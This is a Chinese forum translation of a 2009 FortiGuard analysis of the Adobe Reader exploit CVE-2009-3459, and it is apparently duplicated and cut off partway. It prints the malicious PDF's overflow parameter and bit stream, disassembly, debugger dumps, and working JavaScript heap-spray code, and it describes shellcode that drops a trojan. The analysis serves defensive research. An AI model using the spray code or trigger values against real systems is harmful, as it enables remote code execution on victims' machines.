[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
仙果發表於2009-11-06
翻譯附註:一直在分析關於PDF方面的漏洞,CVE-2009-3459是之前剛爆出來的漏洞,網上有這麼一篇分析文章
自己試著翻譯了一遍,並記錄為以下文章,其中必然有語句不通,翻譯錯誤的地方,還望指正。
在黑防上看到 泉哥 很多篇翻譯的文章,請多多指點。
另附上:PDF格式及doc 格式文件各一份
Smashing Adobe's Heap Memory Management Systems for... Profit
原文地址為:
http://www.fortiguard.com/analysis/pdfanalysis.html
深入分析最新PDF 0day利用
2009. October.17
Research and Analysis: Haifei Li
Editors: Guillaume Lovet, Derek Manky(作者和編輯,不作翻譯)
目錄:
導言
概覽
1. 漏洞
2. 開發
2..1神秘函式
2.2控制執行流程
2.3填充堆
2.4擊潰PDF堆記憶體管理系統
3.記錄嵌入的ShellCode的行為
結論
導言:
正如一份最近的Blog文章中的記錄所指出的那樣,透過比較計算機犯罪形式,安全行業對PDF漏洞的關注程度在持續不斷的提升當中。
最近,一個高危險級別的新PDF 0day漏洞(CVE-2009-3459),在Adobe的Blog中被公佈出來,在網路中正被積極利用。
至截稿時,此漏洞的補丁已經發布,並且我們強烈建議使用它。與此同時,修補此漏洞,安全廠商(AV(防毒軟體),IDS(入侵檢測系統),IPS(入侵防禦系統),等等)必須做出調整來阻止惡意PDF
文件利用此漏洞。
為此,為深入瞭解這個漏洞,本篇文件提供了一篇對網路上截獲的惡意PDF的分析。
概述:
PDF格式文件大都有標籤,引數和流組成,並且可以包含JavaScript程式碼。這個漏洞是Adobe Reader在處理一個特定引數觸發的一個整數溢位漏洞。
當前,整數溢位是相當普遍的,但是利用它去執行任意程式碼卻往往是非常困難並且相當有技巧性。成功利用此漏洞的人,採用了一中新穎的策略(儘管並不普遍,它只能在Adobe公司的應用程式上利用)。有5個基本步驟在這個利用中:
●一個引數被設定成一個特定的極大值在一個PDF文件中,Adobe Reader在一個操作中使用這個引數,觸發整數溢位。後果:操作的結果值小於程式透過引數值所預期的大小。
●溢位值被用於在堆中分配一段緩衝區,這段緩衝區會因此小於給定的引數值。
●程式沿著正常流程,在PDF文件中,上述被溢位調整的調整的內容會按照Bit-Encoded編碼在PDF文件的一個流中。一旦處理的流大於被分配的小的緩衝區,結果就回在堆記憶體中被覆蓋(堆溢位),
●BitStream(位元流)控制的“調整”被攻擊者給定(在PDF文件中),它精心特定的覆蓋堆記憶體一段極小的部分。
由於可能的“調整”非常有限,最理想的情況是攻擊者使用一個單位元組來改變一個函式的指標(在堆上的一個C語言結構)。這個函式指標最終作為惡意程式碼(控制EIP)的一個傳輸點被呼叫。
當然確保惡意程式碼每次都會執行(不被Crash,等等)無疑是最難的一部分。如何確保在執行流程緊接著函式指標最終被改變後的而已程式碼仍然有效?
●透過填充填充NOP塊,使其執行到ShellCode。這是理想的JavaScript嵌入PDF文件(典型的堆填充方法)。
這些步驟會在1,2節進行分析。
有人會說,當攻擊者獲得程式執行流程後會做什麼僅僅是理論上的。這的確涉及到具體攻擊例項,不同於一般的攻擊利用:攻擊部分程式碼將會在第三節進行分析。
1:漏洞
觸發初始整數溢位(此利用樣本)在惡意PDF文件的如下位置:
ParamX(引數X)就是關鍵引數,且被設定為1073741838(十六進位制為0x4000000E).需要注意的是編碼流是不重要的,因為當溢位觸發時這個執行點就已經被解碼(Decode,即“deflated”)。
原來解碼的流為: 00 00 20 00 00 00 10。
圖1:漏洞的溢位點
如圖1所示,程式在0x009F60A5h指令處(紅色高亮部分)使用引數值0x4000000E(儲存在ECX中),假如每個物件分配一個DWORD(4位元組),這條指令的目的似乎是以位元組的形式計算出需要的記憶體大小,它以關鍵的引數進行計算(意思就是說這個引數最有可能表示有許多物件)。
這就是為什麼引數值會是4的倍數,而且就是在這兒觸發的整數溢位。
圖1中紅字黑底的指令0x009F60E5h是在記憶體中使用溢位值進行分配的例程(同時EDX的值和ECX在0x0090F6D8h都為0):
acro_allocate_routine(0x4000000E * 4 +0 x48)==“acro_allocate_routine(0x80)
注意:我們將會在第三節討論“acro_allocate_routine”。
結果,分配了一個大小為0x80的堆塊;這個值會在0x009F7ED0h函式處進行處理,已經在圖2中高亮標示出:
圖2:堆溢位之前情況
這個函式在下面分析列出,為了更好的理解這些內容(列表中最重要的部分),請注意下面的註釋。
1).lpBuff 是堆塊的指標(長度為0x80).
2).bits_original_stream 為解碼流的位元(Bits)數量.
3).v)counter 是計數器的當前值,從0到bits_original_stream-1
再次,解碼的流為"00 00 20 00 00 00 10",意思是bits_original_stream 為0x38(7*8).
如下:
這段函式做了什麼?虛擬碼的形式能更容易的理解它
本質上,函式在略過了緩衝區的每個DWORD(請記住,這個緩衝區以引數X的每個物件都包含一個DWROD),在指令0x003A807Fh處,神秘函式的返回值覆蓋了它(神秘依舊,我們將在第二節分析)。
這是堆溢位觸發的地方,同時也是整個漏洞利用操作的核心。因為是整數溢位,緩衝區實際上非常小於預期值,它(緩衝區,譯者注)應當包含引數X的每個物件的一個DWORD,事實並非如此,當計數器列舉物件時,它超出了緩衝區的結尾。
值得注意的是,因為引數X為一個極大的值,迴圈退出的條件:計數器到達bits_original_stream即v_counter>=ParamX,永遠不會發生。接著我們將會看到原來的位元流會在神秘函式中被使用,某一個物件中。
記憶體的整個長度被改寫為bits_original_stream*4(從0x44的偏移開始):
0x38*4=0xE0
考慮到之前分配的堆塊(圖1)大小隻有0x80,此函式在分配堆之後會覆蓋0xA4(0x44+0xE-40x80)位元組的資料。
透過監視這0xA4位元組的記憶體溢位,實際上只修改了記憶體中的一小部分。這會在圖3中展示
很明顯的,在對比圖2(堆溢位之前),我們可以看到只有2處DWORDs因堆溢位被修改(注意:偏移是相對於被分配的堆塊的結尾)。
1).偏移0x0C, 從 0x0121676C 變為 0x0121676D.
2).偏移0x90, 從 0x0124DA40 變為 0x0124DA41.
這2處輕微的改變在這個漏洞利用的邏輯核心中是如何觸發的並且原理是什麼,將在下一節討論。
2:漏洞利用
我們從上所知,記憶體溢位是有那個神秘函式使用特定的解碼流(攻擊者提供)導致的。
2.1:神秘函式
簡而言之,函式使用計數器的當前值在解碼流中檢索一個位元(Bit),如前所述,我們認為緩衝區的每個物件在位元流中存在一個相對應的位元,我們稱之為“corresponding_bit”(對應位元,譯者注)。
這個位元會轉換成一個 DWORD並且加上之前的DWORD(表現為一個物件)被處理:
new_DWORD = old_DWORD + corresponding_bit
理所當然的是corresponding_bit 只能是1 或者 0。因此 new_DWORD不能被設定為任意值:要麼不變,要麼以1遞增。這就是攻擊者透過位元流所能控制的所有東西。
現在原來的流為'00 00 20 00 00 00 10',並且流中只有0x12和0x33被設定為1,因此只有2個DWORDs在0x12 和0x33處會遞增。
對應的0x80長度的堆塊的結尾,這些DWORDs在如下偏移:
offset1 = 0x12*4 + 0x44 - 0x80 = 0x0C
offset2 = 0x33*4 + 0x44 - 0x80 = 0x90
這與在第一部分觀察到的內容相匹配,但是這兩個DWORDs是什麼,而且為什麼要遞增呢?
2.2:控制程式執行流程
經過多次試驗後,對記憶體的情況瞭然於胸,這2個DWORDs的其中之一好像是一個指標。這個指標會指向一段不斷變化的記憶體地址的一個C語言結構。
當Adobe Reader 在解析PDF頁面時會使用到這個結構。多數情況下,第二個指標(offset2,0x90)會指向這個結構。下面給出一個例子:
首先,我們檢驗在溢位觸發時偏移0x90處的指標遞增:
溢位之前,此結構的指標為0x0124da40,溢位之後,變成了0x0124da41。
接下來的圖片顯示出當溢位發生後結構如何訪問:
圖4:進入ShellCode
首先,結構的地址賦給EAX。接著這個結構的第一個DWORD值被讀取。如果這個值大於0x90,會接著讀取儲存在偏移0x90的值([*+0x90],譯者注)(實際上是這個結構的開始處):偏移處的值作為一個函式的指標讀取並賦給EAX。最終,如果函式指標不為空,就回跳入這個函式執行(Call EAX 譯者注)。
因此,攻擊者真正的目標是改變這個結構偏移0x90處的函式指標的值(注意:結構的指標和堆塊使用同樣的0x90處的偏移,這僅僅是個巧合)。這樣改變了函式的指標就獲得對執行流程的控制。做到如此,攻擊者只能遞增這個結構的指標(透過位元流,不明白檢視之前的幾節),因此透過一個位元組就改變了這個結構的整個值。他不能設定結構的指標為任意值,這個漏洞利用開發是相當取巧的。
這可以從對在正常和攻擊(換言之就是漏洞利用被觸發時)情況下的記憶體狀態進行比較得出。轉儲這個結構在正常狀態下的結果為:
正常情況:儘管0x1c大於0x90,因函式在偏移0x90(0x012dad0)處的指標為0,什麼都不會發生。
但是在攻擊狀態下,溢位發生後(請注意當位元組改變時結尾處的變化):
因為0x50000001大於0x90,並且0x50000000不為0,程式流程會被轉換到0x5000000。
應當指出。有時指標1(偏移0x0c相對於0x80長度堆塊的結尾)會指向這個結構,這就是為什麼攻擊者很容易的遞增指標。
攻擊者不能改變任意其他的DWORDs值,因為改變這兩個的最低限度是使漏洞利用得以執行。改變任意其他DWORDs很有可能導致應用程式在控制EIP之前就掛掉。
2.3堆噴射(翻譯為堆噴射更為專業些,不記得在哪看到的了,譯者注)
如上所述,攻擊者並不能精確的控制函式指標最終跳往的地點,他只能使它指向0x50000000這個地址,幸運的是,這裡通常屬於堆,因此使用ShellCode填充堆有助於確保惡意程式碼最終從0x50000000處開始執行。
這裡是用經典的JavaScript堆填充程式碼實現的。(圖5)(這裡以文字給出,譯者注)
圖5:用作填充實體記憶體的解碼過的JavaScript。
2.4:擊潰Adobe的堆記憶體管理系統
為什麼使用0x80作為分配的的偽造堆塊長度?換句話說,為什麼選擇0x4000000E作為引數X的值?
一般來說,在Windows 系列系統中堆記憶體的分配最終會呼叫系統級API RtlAllocateHeap來申請分配堆塊。在這樣一個情況下,對應用程式來說記憶體塊的返回值是不確定的。
但是,Adobe Reader 有著自身的堆管理例程,如果堆塊的長度小於或者等於0x80個位元組,請求就不會提交到系統級的堆管理例程,與之對應的,Adobe Reader自身的記憶體管理例程會尋找一個適當的迴圈透過比較被請求的分配大小。
接下來就是在“Acrod32.dll”中函式acro_allocate_routine的有關程式碼:
可以觀察到並沒有跳入系統級管理例程去分配一段新的堆塊,相應的,它重新使用被應用程式自己認為已經被“釋放”的堆塊(換句話說,實際上系統並沒有釋放這段記憶體)。
因此,可以相當容易的預測這段重新使用的記憶體內容(或者至少相對穩定)。
並且這表明在Adobe Reader 中存在相當有效的辦法在堆基礎上利用此溢位漏洞。
3:利用程式的動作和嵌入的ShellCode的記錄
JavaScirpt中的ShellCode部分只做了一件事情:在PDF中找到並執行另一段ShellCode。
很明顯的是,ShellCode透過使用API函式GetFileSize對從0開始的每個控制程式碼同目標大小進行比對,以此找到PDF文件的控制程式碼。
圖6:從POC文件中尋找檔案控制程式碼
原來的C程式碼可能讀起來像這樣:
接著,透過已經獲得的檔案控制程式碼去找到並執行新的已經嵌入在PDF文件中的ShellCode:
圖7:跳轉到POC文件中的另一段ShellCode.
另外需要注意的是,這並不新穎。一年多以前“幻影軍團”曾經使用“查詢並執行ShellCode”的方法在一個惡意的PDF文件中。
新的ShellCode會執行以下動作:
1).從初始PDF文件中生成一個可執行檔案並執行,這實際上是被我們的防毒軟體檢測出來為“W32/Protux.GK!tr”的病毒。
2).從初始PDF文件中生成一個正常的PDF文件,並使用Adobe Reader 開啟並使用同樣正常的文件內容覆蓋當前開啟的惡意PDF文件:以取得完美的偽裝效果。從結果來看,偽裝檔案的名字為:“The question of the charter of pro-democracy moment.pdf”,存放在系統Temp目錄下。
接下來是關於新ShellCode的關鍵點。
圖8:第一步在Temp目錄下生存exe檔案
圖9:第二步執行生成的exe檔案
圖10:第三步生成偽裝的PDF文件
圖11:第四步用Adobe Reader 開啟偽裝的PDF文件
結論:
回頭看這次0day攻擊的整個過程,每一個部分不管是漏洞觸發,開發利用,漏洞背後的邏輯關係,促使改變漏洞還是最後的ShellCode都是相當有技巧性的。
這個漏洞利用程式透過堆噴射的方法也會在將來的Adobe Reader漏洞用到,特別是它自身的創新。
FortiGuard已經發布了FGA-2009-35公告來應對這個問題,這與Adobe的安全公告:APSB09-15相一致。對我的客戶來說高階0day保護已經是可以使用的了從2009-10-9。
當我們的防毒軟體檢測到PDF利用程式為“W32/Protux.GK!exploit”並且生成的可執行檔案為“W32/Protux.GK!tr”時,IPS會以“Adobe.Reader.Decode.Color.Remote.Code”標示出。
我們再次建議 Adobe Reader 和Acrobat儘快升級應用程式到最新版本。
Disclaimer(以下為一些免責宣告及公司簡介,與技術無關,故不作翻譯,譯者注)
Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy
or completeness of the information. More specific information is available on request from Fortinet.
Please note that Fortinet's product information does not
constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing.
About Fortinet ( http://www.fortinet.com/):
Fortinet is the pioneer and leading provider of ASIC-accelerated unified threat management, or UTM, security systems,
which are used by enterprises and service providers to increase their security while reducing total operating costs.
Fortinet solutions were built from the ground up to integrate multiple levels of security protection--including firewall, antivirus,
intrusion prevention, VPN, spyware prevention and anti-spam -- designed to help customers protect against network and content level threats.
Leveraging a custom ASIC and unified interface,
Fortinet solutions offer advanced security functionality that scales from remote office to chassis-based
solutions with integrated management and reporting.
Fortinet solutions have won multiple awards around the world and are the only
security products that are certified in six programs by ICSA Labs: (Firewall, Antivirus, IPSec, SSL, Network IPS, and Anti-Spyware). Fortinet is privately
held and based in Sunnyvale, California.
自己試著翻譯了一遍,並記錄為以下文章,其中必然有語句不通,翻譯錯誤的地方,還望指正。
在黑防上看到 泉哥 很多篇翻譯的文章,請多多指點。
另附上:PDF格式及doc 格式文件各一份
Smashing Adobe's Heap Memory Management Systems for... Profit
原文地址為:
http://www.fortiguard.com/analysis/pdfanalysis.html
深入分析最新PDF 0day利用
2009. October.17
Research and Analysis: Haifei Li
Editors: Guillaume Lovet, Derek Manky(作者和編輯,不作翻譯)
目錄:
導言
概覽
1. 漏洞
2. 開發
2..1神秘函式
2.2控制執行流程
2.3填充堆
2.4擊潰PDF堆記憶體管理系統
3.記錄嵌入的ShellCode的行為
結論
導言:
正如一份最近的Blog文章中的記錄所指出的那樣,透過比較計算機犯罪形式,安全行業對PDF漏洞的關注程度在持續不斷的提升當中。
最近,一個高危險級別的新PDF 0day漏洞(CVE-2009-3459),在Adobe的Blog中被公佈出來,在網路中正被積極利用。
至截稿時,此漏洞的補丁已經發布,並且我們強烈建議使用它。與此同時,修補此漏洞,安全廠商(AV(防毒軟體),IDS(入侵檢測系統),IPS(入侵防禦系統),等等)必須做出調整來阻止惡意PDF
文件利用此漏洞。
為此,為深入瞭解這個漏洞,本篇文件提供了一篇對網路上截獲的惡意PDF的分析。
概述:
PDF格式文件大都有標籤,引數和流組成,並且可以包含JavaScript程式碼。這個漏洞是Adobe Reader在處理一個特定引數觸發的一個整數溢位漏洞。
當前,整數溢位是相當普遍的,但是利用它去執行任意程式碼卻往往是非常困難並且相當有技巧性。成功利用此漏洞的人,採用了一中新穎的策略(儘管並不普遍,它只能在Adobe公司的應用程式上利用)。有5個基本步驟在這個利用中:
●一個引數被設定成一個特定的極大值在一個PDF文件中,Adobe Reader在一個操作中使用這個引數,觸發整數溢位。後果:操作的結果值小於程式透過引數值所預期的大小。
●溢位值被用於在堆中分配一段緩衝區,這段緩衝區會因此小於給定的引數值。
●程式沿著正常流程,在PDF文件中,上述被溢位調整的調整的內容會按照Bit-Encoded編碼在PDF文件的一個流中。一旦處理的流大於被分配的小的緩衝區,結果就回在堆記憶體中被覆蓋(堆溢位),
●BitStream(位元流)控制的“調整”被攻擊者給定(在PDF文件中),它精心特定的覆蓋堆記憶體一段極小的部分。
由於可能的“調整”非常有限,最理想的情況是攻擊者使用一個單位元組來改變一個函式的指標(在堆上的一個C語言結構)。這個函式指標最終作為惡意程式碼(控制EIP)的一個傳輸點被呼叫。
當然確保惡意程式碼每次都會執行(不被Crash,等等)無疑是最難的一部分。如何確保在執行流程緊接著函式指標最終被改變後的而已程式碼仍然有效?
●透過填充填充NOP塊,使其執行到ShellCode。這是理想的JavaScript嵌入PDF文件(典型的堆填充方法)。
這些步驟會在1,2節進行分析。
有人會說,當攻擊者獲得程式執行流程後會做什麼僅僅是理論上的。這的確涉及到具體攻擊例項,不同於一般的攻擊利用:攻擊部分程式碼將會在第三節進行分析。
1:漏洞
觸發初始整數溢位(此利用樣本)在惡意PDF文件的如下位置:
<< /ParamX 1073741838 //關鍵引數(此處是經過替換的,原引數為Colors) >> /Length 299 /Filter /FlateDecode >> stream [stream encoded by flate, original stream is: 00 00 20 00 00 00 10] [流已經用flate編碼,原流為00 00 20 00 00 00 10] endstream
ParamX(引數X)就是關鍵引數,且被設定為1073741838(十六進位制為0x4000000E).需要注意的是編碼流是不重要的,因為當溢位觸發時這個執行點就已經被解碼(Decode,即“deflated”)。
原來解碼的流為: 00 00 20 00 00 00 10。
圖1:漏洞的溢位點
如圖1所示,程式在0x009F60A5h指令處(紅色高亮部分)使用引數值0x4000000E(儲存在ECX中),假如每個物件分配一個DWORD(4位元組),這條指令的目的似乎是以位元組的形式計算出需要的記憶體大小,它以關鍵的引數進行計算(意思就是說這個引數最有可能表示有許多物件)。
這就是為什麼引數值會是4的倍數,而且就是在這兒觸發的整數溢位。
圖1中紅字黑底的指令0x009F60E5h是在記憶體中使用溢位值進行分配的例程(同時EDX的值和ECX在0x0090F6D8h都為0):
acro_allocate_routine(0x4000000E * 4 +0 x48)==“acro_allocate_routine(0x80)
注意:我們將會在第三節討論“acro_allocate_routine”。
結果,分配了一個大小為0x80的堆塊;這個值會在0x009F7ED0h函式處進行處理,已經在圖2中高亮標示出:
圖2:堆溢位之前情況
這個函式在下面分析列出,為了更好的理解這些內容(列表中最重要的部分),請注意下面的註釋。
1).lpBuff 是堆塊的指標(長度為0x80).
2).bits_original_stream 為解碼流的位元(Bits)數量.
3).v)counter 是計數器的當前值,從0到bits_original_stream-1
再次,解碼的流為"00 00 20 00 00 00 10",意思是bits_original_stream 為0x38(7*8).
如下:
.text:003A7FB4 loc_3A7FB4: ; CODE XREF: sub_3A7ED0+1CDj .text:003A7FB4 mov edx, [esp+3Ch+var_C] ; loop starts .text:003A7FB8 mov eax, [esp+3Ch+arg_0] .text:003A7FBC .text:003A7FBC loc_3A7FBC: ; CODE XREF: sub_3A7ED0+E2j .text:003A7FBC cmp eax, ecx ; if v_counter>bits_original_stream, .text:003A7FBE jge loc_3A80A3 ; break from the loop .text:003A7FC4 mov ebp, [esi+0Ch] ; [esi+0Ch] is 4000000Eh here .text:003A7FC7 add eax, edi ; edi is 0 .text:003A7FC9 add eax, edx ; edx is 0 .text:003A7FCB cdq .text:003A7FCC idiv ebp ; v_counter idiv 4000000Eh .text:003A7FCE lea eax, [ecx+edi] ; edx became v_counter .text:003A7FD1 mov ecx, [esi+10h] .text:003A7FD4 cmp ecx, 3 .text:003A7FD7 lea ebx, [esi+edx*4+44h] ; lpBuff + v_counter*4 + 0x44 ... .text:003A805C loc_3A805C: ; CODE XREF: sub_3A7ED0+168j .text:003A805C mov edx, [ebx] .text:003A805E push edx .text:003A805F mov edx, [esp+40h+var_20] .text:003A8063 shl eax, cl .text:003A8065 push edx .text:003A8066 mov edx, [esp+44h+var_28] .text:003A806A shl ebp, cl .text:003A806C push ebp .text:003A806D push eax .text:003A806E mov eax, [esp+4Ch+arg_0] .text:003A8072 add eax, edi .text:003A8074 shl eax, cl .text:003A8076 push edx .text:003A8077 call sub_9D7850 ; will be analyzed later .text:003A807C add esp, 14h .text:003A807F .text:003A807F loc_3A807F: ; CODE XREF: sub_3A7ED0+18Aj .text:003A807F mov [ebx], eax ; overwrite the DWORD with the return value .text:003A8081 .text:003A8081 loc_3A8081: ; CODE XREF: sub_3A7ED0+149j .text:003A8081 ; sub_3A7ED0+163j .text:003A8081 mov eax, [esp+3Ch+arg_0] .text:003A8085 add [esp+3Ch+var_18], 2 .text:003A808A add [esp+3Ch+var_1C], 1 .text:003A808F mov ecx, [esp+3Ch+arg_4] .text:003A8093 add eax, 1 ; v_counter++ .text:003A8096 cmp eax, [esi+0Ch] ; [ESI+0C]=0x4000000E, so keep looping .text:003A8099 mov [esp+3Ch+arg_0], eax .text:003A809D jl loc_3A7FB4 ; loop
這段函式做了什麼?虛擬碼的形式能更容易的理解它
for(;;) { if( v_counter > bits_original_stream ) break; tmp_counter = v_counter % ParamX; lpCurrent = lpBuff + tmp_counter * 4 + 0x44; iRetVal = mystery_func( *lpCurrent, variables...); *lpCurrent = iRetVal; v_counter++; if( v_counter >= ParamX ) break;
本質上,函式在略過了緩衝區的每個DWORD(請記住,這個緩衝區以引數X的每個物件都包含一個DWROD),在指令0x003A807Fh處,神秘函式的返回值覆蓋了它(神秘依舊,我們將在第二節分析)。
這是堆溢位觸發的地方,同時也是整個漏洞利用操作的核心。因為是整數溢位,緩衝區實際上非常小於預期值,它(緩衝區,譯者注)應當包含引數X的每個物件的一個DWORD,事實並非如此,當計數器列舉物件時,它超出了緩衝區的結尾。
值得注意的是,因為引數X為一個極大的值,迴圈退出的條件:計數器到達bits_original_stream即v_counter>=ParamX,永遠不會發生。接著我們將會看到原來的位元流會在神秘函式中被使用,某一個物件中。
記憶體的整個長度被改寫為bits_original_stream*4(從0x44的偏移開始):
0x38*4=0xE0
考慮到之前分配的堆塊(圖1)大小隻有0x80,此函式在分配堆之後會覆蓋0xA4(0x44+0xE-40x80)位元組的資料。
透過監視這0xA4位元組的記憶體溢位,實際上只修改了記憶體中的一小部分。這會在圖3中展示
很明顯的,在對比圖2(堆溢位之前),我們可以看到只有2處DWORDs因堆溢位被修改(注意:偏移是相對於被分配的堆塊的結尾)。
1).偏移0x0C, 從 0x0121676C 變為 0x0121676D.
2).偏移0x90, 從 0x0124DA40 變為 0x0124DA41.
這2處輕微的改變在這個漏洞利用的邏輯核心中是如何觸發的並且原理是什麼,將在下一節討論。
2:漏洞利用
我們從上所知,記憶體溢位是有那個神秘函式使用特定的解碼流(攻擊者提供)導致的。
2.1:神秘函式
.text:009D7884 mov esi, edi ; edi is v_counter .text:009D7886 sar esi, 3 ; v_counter/8 .text:009D7889 add esi, [esp+1Ch+lp_original_stream] ; pass how many bytes .text:009D788D mov ecx, edi .text:009D788F movzx edx, byte ptr [esi] ; read next byte .text:009D7892 and ecx, 7 ; pass how many bits in the next byte .text:009D7895 mov eax, 8 .text:009D789A sub eax, ecx .text:009D789C sub eax, ebp ; ebp is always 1 .text:009D789E mov cl, al .text:009D78A0 shr edx, cl ; set the lowest bit as the corresponding bit .text:009D78A2 and edx, [esp+1Ch+var_8] ; var_8 is always 1, so corresponding bit is the DWORD value .text:009D78A6 cmp [esp+1Ch+arg_C], 0 ; arg_C is always 0 .text:009D78AC jz short loc_9D78BC ; jump � .text:009D78BC loc_9D78BC: ; CODE XREF: sub_9D7850+5Cj .text:009D78BC mov ecx, [esp+1Ch+arg_10]; get the old_DWORD .text:009D78C0 add ecx, edx ; new_DWORD = old_DWORD + corresponding-bit .text:009D78C2 mov edx, ecx .text:009D78C4 .text:009D78C4 loc_9D78C4: ; CODE XREF: sub_9D7850+6Aj .text:009D78C4 and dl, [esp+1Ch+var_9] .text:009D78C8 add edi, [esp+1Ch+arg_8] .text:009D78CC mov [esp+1Ch+arg_10], ecx ; save the new_DWORD � .text:009D78E5 mov eax, [esp+18h+arg_10] ; return the new_DWORD
簡而言之,函式使用計數器的當前值在解碼流中檢索一個位元(Bit),如前所述,我們認為緩衝區的每個物件在位元流中存在一個相對應的位元,我們稱之為“corresponding_bit”(對應位元,譯者注)。
這個位元會轉換成一個 DWORD並且加上之前的DWORD(表現為一個物件)被處理:
new_DWORD = old_DWORD + corresponding_bit
理所當然的是corresponding_bit 只能是1 或者 0。因此 new_DWORD不能被設定為任意值:要麼不變,要麼以1遞增。這就是攻擊者透過位元流所能控制的所有東西。
現在原來的流為'00 00 20 00 00 00 10',並且流中只有0x12和0x33被設定為1,因此只有2個DWORDs在0x12 和0x33處會遞增。
對應的0x80長度的堆塊的結尾,這些DWORDs在如下偏移:
offset1 = 0x12*4 + 0x44 - 0x80 = 0x0C
offset2 = 0x33*4 + 0x44 - 0x80 = 0x90
這與在第一部分觀察到的內容相匹配,但是這兩個DWORDs是什麼,而且為什麼要遞增呢?
2.2:控制程式執行流程
經過多次試驗後,對記憶體的情況瞭然於胸,這2個DWORDs的其中之一好像是一個指標。這個指標會指向一段不斷變化的記憶體地址的一個C語言結構。
當Adobe Reader 在解析PDF頁面時會使用到這個結構。多數情況下,第二個指標(offset2,0x90)會指向這個結構。下面給出一個例子:
首先,我們檢驗在溢位觸發時偏移0x90處的指標遞增:
Breakpoint 0 hit eax=02008b1c ebx=00000001 ecx=0012ed54 edx=0438afcb esi=0438af18 edi=0012eea0 eip=009f7868 esp=0012ed3c ebp=0438afcb iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e09: 009f7868 e863060000 call AcroRd32!AVAcroALM_IsFeatureEnabled+0x64471 (009f7ed0) 0:000> dd esp 0012ed3c 0012ed54 0438af18 02008b1c 00000000 0012ed4c 0210b734 01f2b424 0438afcb 00a8da8e 0:000> dd 02008b1c+80+90 02008c2c <b>0124da40</b> 00000544 0017ee98 ffffffff 02008c3c 00000000 00000000 00000000 00000000 Breakpoint 1 hit eax=00000000 ebx=00000001 ecx=00000038 edx=00000000 esi=0438af18 edi=0012eea0 eip=009f786d esp=0012ed3c ebp=0438afcb iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e0e: 009f786d 83c40c add esp,0Ch 0:000> dd 02008b1c+80+90 02008c2c <b>0124da41</b> 00000544 0017ee98 ffffffff 02008c3c 00000000 00000000 00000000 00000000
溢位之前,此結構的指標為0x0124da40,溢位之後,變成了0x0124da41。
接下來的圖片顯示出當溢位發生後結構如何訪問:
圖4:進入ShellCode
首先,結構的地址賦給EAX。接著這個結構的第一個DWORD值被讀取。如果這個值大於0x90,會接著讀取儲存在偏移0x90的值([*+0x90],譯者注)(實際上是這個結構的開始處):偏移處的值作為一個函式的指標讀取並賦給EAX。最終,如果函式指標不為空,就回跳入這個函式執行(Call EAX 譯者注)。
因此,攻擊者真正的目標是改變這個結構偏移0x90處的函式指標的值(注意:結構的指標和堆塊使用同樣的0x90處的偏移,這僅僅是個巧合)。這樣改變了函式的指標就獲得對執行流程的控制。做到如此,攻擊者只能遞增這個結構的指標(透過位元流,不明白檢視之前的幾節),因此透過一個位元組就改變了這個結構的整個值。他不能設定結構的指標為任意值,這個漏洞利用開發是相當取巧的。
這可以從對在正常和攻擊(換言之就是漏洞利用被觸發時)情況下的記憶體狀態進行比較得出。轉儲這個結構在正常狀態下的結果為:
0:000> dd 0124da40 0124da40 0000010c 00965450 00968cc0 00aae890 0124da50 01021e10 01024380 01021e40 01024430 0124da60 009671c0 010243e0 00971670 01022e80 0124da70 00a468c0 00970d10 0096f060 00964e80 0124da80 0096f7d0 0096fe30 00961ca0 0095c060 0124da90 010228e0 00000000 00000000 00000000 0124daa0 00000000 00000000 00000000 00000000 0124dab0 00000000 00960420 00000000 00000000 0124dac0 0099f2e0 00970750 009712d0 00971420 0124dad0 00000000 00a03950 00a1ced0 01022c10 0124dae0 01022cc0 01022d40 00000000 00000000
正常情況:儘管0x1c大於0x90,因函式在偏移0x90(0x012dad0)處的指標為0,什麼都不會發生。
但是在攻擊狀態下,溢位發生後(請注意當位元組改變時結尾處的變化):
0:000> dd 0124da41 0124da41 50000001 c0009654 9000968c 1000aae8 0124da51 8001021e 40010243 3001021e c0010244 0124da61 e0009671 70010243 80009716 c001022e 0124da71 1000a468 6000970d 800096f0 d000964e 0124da81 300096f7 a00096fe 6000961c e00095c0 0124da91 00010228 00000000 00000000 00000000 0124daa1 00000000 00000000 00000000 00000000 0124dab1 20000000 00009604 00000000 e0000000 0124dac1 500099f2 d0009707 20009712 00009714 0124dad1 50000000 d000a039 1000a1ce c001022c 0124dae1 4001022c 0001022d 00000000 00000000
因為0x50000001大於0x90,並且0x50000000不為0,程式流程會被轉換到0x5000000。
應當指出。有時指標1(偏移0x0c相對於0x80長度堆塊的結尾)會指向這個結構,這就是為什麼攻擊者很容易的遞增指標。
攻擊者不能改變任意其他的DWORDs值,因為改變這兩個的最低限度是使漏洞利用得以執行。改變任意其他DWORDs很有可能導致應用程式在控制EIP之前就掛掉。
2.3堆噴射(翻譯為堆噴射更為專業些,不記得在哪看到的了,譯者注)
如上所述,攻擊者並不能精確的控制函式指標最終跳往的地點,他只能使它指向0x50000000這個地址,幸運的是,這裡通常屬於堆,因此使用ShellCode填充堆有助於確保惡意程式碼最終從0x50000000處開始執行。
這裡是用經典的JavaScript堆填充程式碼實現的。(圖5)(這裡以文字給出,譯者注)
function urpl(sc){ var keyu= "%u"; var re = /XX/g; sc = sc.replace(re,keyu); return sc; } function xxsc(sc){ var sprdataxx = "XX9090XX9090"; var esprpl=unescape; var urpled = esprpl(urpl(sc)); var blknum = 0x41000; var sprdata = esprpl(urpl(sprdataxx)); while(sprdata.length<blknum) sprdata+=sprdata; sprblk=sprdata.substring(0,sprdata.length); scblk=urpled.substring(0,urpled.length); memory=new Array(); for(x=0;x<1700;x++) memory[x]=sprblk+scblk; } var s = "XXec81XX(此處為ShellCode) var a=app.viewerVersion; if (a >= 9) xxsc(s); else while(1){};
圖5:用作填充實體記憶體的解碼過的JavaScript。
2.4:擊潰Adobe的堆記憶體管理系統
為什麼使用0x80作為分配的的偽造堆塊長度?換句話說,為什麼選擇0x4000000E作為引數X的值?
